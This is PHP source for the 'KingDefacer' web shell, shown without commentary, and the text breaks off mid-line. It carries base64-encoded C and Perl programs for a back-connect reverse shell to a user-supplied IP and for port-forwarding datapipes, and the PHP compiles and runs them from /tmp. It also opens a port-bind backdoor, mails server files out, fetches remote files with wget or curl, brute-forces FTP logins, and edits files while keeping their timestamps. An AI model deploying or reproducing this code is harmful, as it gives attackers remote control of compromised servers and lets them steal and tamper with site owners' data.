$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm lsZSk7DQogIHJldHVybiAwOw0KfQ=="; $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; echo $head; echo '</head>'; if(empty($_POST['cmd'])) { $serv = array(127,192,172,10); $addr=@explode('.', $_SERVER['SERVER_ADDR']); $current_version = str_replace('.','',$version); if (!in_array($addr[0], $serv)) { @print "<img src=\"http://127.0.0.1/KingDefacer/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; @readfile ("http://127.0.0.1/KingDefacer/version.php?version=".$current_version."");}} echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> <tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp; <font face=Webdings size=6><b>!</b></font><b>'.ws(2).'KingDefacer '.$version.'</b> </font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; echo ws(2); echo "<b>".date ("d-m-Y H:i:s")."</b>"; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; } echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; echo ws(2); echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); echo ws(2); echo "PHP version: <b>".@phpversion()."</b>"; $curl_on = @function_exists('curl_version'); echo ws(2); echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); echo ws(2); echo "MySQL: <b>"; $mysql_on = @function_exists('mysql_connect'); if($mysql_on){ echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } echo ws(2); echo "MSSQL: <b>"; $mssql_on = @function_exists('mssql_connect'); if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} echo ws(2); echo "PostgreSQL: <b>"; $pg_on = @function_exists('pg_connect'); if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} echo ws(2); echo "Oracle: <b>"; $ora_on = @function_exists('ocilogon'); if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} echo "<br>".ws(2); echo "Disable functions : <b>"; if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} $free = @diskfreespace($dir); if (!$free) {$free = 0;} $all = @disk_total_space($dir); if (!$all) {$all = 0;} $used = $all-$free; $used_percent = @round(100/($all/$free),2); echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; echo '</font></td></tr><table> <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> <tr><td align=right width=100>'; echo $font; if(!$windows){ echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; echo "</td><td>"; echo "<font face=Verdana size=-2 color=red><b>"; $uname = ex('uname -a'); echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); if(!$safe_mode){ $bsd1 = ex('sysctl -n kern.ostype'); $bsd2 = ex('sysctl -n kern.osrelease'); $lin1 = ex('sysctl -n kernel.ostype'); $lin2 = ex('sysctl -n kernel.osrelease'); } if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } else { $sysctl = "-"; } echo ws(3).$sysctl."<br>"; echo ws(3).ex('echo $OSTYPE')."<br>"; echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; $id = ex('id'); echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); echo ws(3).$dir; echo ws(3).'( '.perms(@fileperms($dir)).' )'; echo "</b></font>"; } else { echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; echo "</td><td>"; echo "<font face=Verdana size=-2 color=red><b>"; echo ws(3).@substr(@php_uname(),0,120)."<br>"; echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; echo ws(3).@get_current_user()."<br>"; echo ws(3).$dir; echo "<br></font>"; } echo "</font>"; echo "</td></tr></table>"; if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail") { $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n"); mr($language,$res); $_POST['cmd']=""; } if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) { if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; } else { $filename = @basename($_POST['loc_file']); $filedump = @fread($file,@filesize($_POST['loc_file'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); $attach = array( "name"=>$filename, "type"=>$mime_type, "content"=>$filedump ); if(empty($_POST['subj'])) { $_POST['subj'] = 'file from KingDefacer'; } if(empty($_POST['from'])) { $_POST['from'] = 'x.neo@hotmail.com'; } $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); mr($language,$res); $_POST['cmd']=""; } } if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") { $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; } if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") { switch($_POST['what']) { case 'own': @chown($_POST['param1'],$_POST['param2']); break; case 'grp': @chgrp($_POST['param1'],$_POST['param2']); break; case 'mod': @chmod($_POST['param1'],intval($_POST['param2'], 8)); break; } $_POST['cmd']=""; } if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") { switch($_POST['what']) { case 'file': if($_POST['action'] == "create") { if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } else { fclose($file); $_POST['e_name'] = $_POST['mk_name']; $_POST['cmd']="edit_file"; echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; } } else if($_POST['action'] == "delete") { if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; $_POST['cmd']=""; } break; case 'dir': if($_POST['action'] == "create"){ if(mkdir($_POST['mk_name'])) { $_POST['cmd']=""; echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; } else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } } else if($_POST['action'] == "delete"){ if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; $_POST['cmd']=""; } break; } } if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) { if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } else { echo $table_up3; echo $font; echo "<form name=save_file method=post>"; echo ws(3)."<b>".$_POST['e_name']."</b>"; echo "<div align=center><textarea name=e_text cols=121 rows=24>"; echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); fclose($file); echo "</textarea>"; echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; echo "<input type=hidden name=dir value=".$dir.">"; echo "<input type=hidden name=cmd value=save_file>"; echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); echo "</div>"; echo "</font>"; echo "</form>"; echo "</td></tr></table>"; exit(); } } if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") { $mtime = @filemtime($_POST['e_name']); if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } else { if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); @fwrite($file,$_POST['e_text']); @touch($_POST['e_name'],$mtime,$mtime); $_POST['cmd']=""; echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; } } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) { cf("/tmp/bd.c",$port_bind_bd_c); $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); @unlink("/tmp/bd.c"); $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); $_POST['cmd']="ps -aux | grep bd"; } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) { cf("/tmp/bdpl",$port_bind_bd_pl); $p2=which("perl"); if(empty($p2)) $p2="perl"; $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); $_POST['cmd']="ps -aux | grep bdpl"; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) { cf("/tmp/back",$back_connect); $p2=which("perl"); if(empty($p2)) $p2="perl"; $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) { cf("/tmp/back.c",$back_connect_c); $blah = ex("gcc -o /tmp/backc /tmp/back.c"); @unlink("/tmp/back.c"); $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; } if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) { cf("/tmp/dp",$datapipe_pl); $p2=which("perl"); if(empty($p2)) $p2="perl"; $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); $_POST['cmd']="ps -aux | grep dp"; } if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) { cf("/tmp/dpc.c",$datapipe_c); $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); @unlink("/tmp/dpc.c"); $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); $_POST['cmd']="ps -aux | grep dpc"; } if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} if (!empty($HTTP_POST_FILES['userfile']['name'])) { if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } else { $nfn = $HTTP_POST_FILES['userfile']['name']; } @copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['dir']."/".$nfn) or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); } if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) { switch($_POST['with']) { case wget: $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; break; case fetch: $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; break; case lynx: $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; break; case links: $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; break; case GET: $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; break; case curl: $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; break; } } if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) { list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); if(empty($ftp_port)) { $ftp_port = 21; } $connection = @ftp_connect ($ftp_server,$ftp_port,10); if(!$connection) { fe($language,0); } else { if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); } else { if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } } } @ftp_close($connection); $_POST['cmd'] = ""; } if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") { list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); if(empty($ftp_port)) { $ftp_port = 21; } $connection = @ftp_connect ($ftp_server,$ftp_port,10); if(!$connection) { fe($language,0); $_POST['cmd'] = ""; } else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } @ftp_close($connection); } echo $table_up3; if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } echo $font.$lang[$language.'_text1'].": 